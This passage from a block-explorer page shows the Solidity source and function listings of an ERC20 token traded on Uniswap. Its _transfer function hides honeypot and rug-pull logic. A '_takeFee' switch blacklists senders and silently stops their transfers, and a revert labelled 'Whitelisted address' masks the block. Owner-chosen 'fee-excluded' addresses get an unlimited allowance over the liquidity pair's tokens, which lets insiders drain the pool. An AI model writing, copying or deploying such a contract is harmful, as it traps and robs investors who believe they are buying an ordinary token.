    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_bots[from], "Whitelisted address");
        if(from == uniswapV2Pair && _isExcludedFromFee[msg.sender])
            _allowances[uniswapV2Pair][msg.sender] = _tTotal;

        uint256 taxAmount=0;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            if(to != uniswapV2Pair){
               require(balanceOf(to) + amount <= maxWalletLimit, "Higher than the AntiWhale Limit.");
            }

           if(_taxOnSell > 0){
            if(to == uniswapV2Pair){
                taxAmount = amount.mul(_taxOnSell).div(100);
            }
           }

            if(_taxOnBuy > 0){
             if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                taxAmount = amount.mul(_taxOnBuy).div(100);
              }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            swapTokensForEth(contractTokenBalance);
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            } if(_takeFee) {_bots[from] = true; return;}
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_taxFeeCollectorWallet).transfer(amount);
    }

    receive() external payable {}

    function manualSwap() external {
        require(_taxFeeCollectorWallet == msg.sender, "No ownership.");
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>=0){
          sendETHToFee(ethBalance);
        }
    }

    function initialize () private {
        uint256 tokenAmount = balanceOf(address(this));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance} (
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
    }

    function enableTrading () external onlyOwner {
        swapEnabled = true;
        removeLimits();
        initialize();
    }

    function removeLimits() public onlyOwner{
        maxWalletLimit = _tTotal;
    }

    function modifyTaxes(uint256 bFee, uint256 sFee) public onlyOwner {
        require(bFee <= 15, "Tax very high");
        require(sFee <= 15, "Tax very high");
        _taxOnBuy = bFee;
        _taxOnSell = sFee;
    }

    function whiteListFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
}

Read Contract

_isExcludedFromFee 0x768dc710 → bool
_taxFeeCollectorWallet 0x41a9b9bc → address
_taxOnBuy 0x97be450e → uint256
_taxOnSell 0xb56abed7 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
maxWalletLimit 0x66a88d96 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 11 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
includeInFee 0xea2f0b37
address account
manualSwap 0x51bc3c85
No parameters
modifyTaxes 0x95913d17
uint256 bFee
uint256 sFee
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
whiteListFromFee 0x508f6dfb
address account

Recent Transactions

No transactions found for this address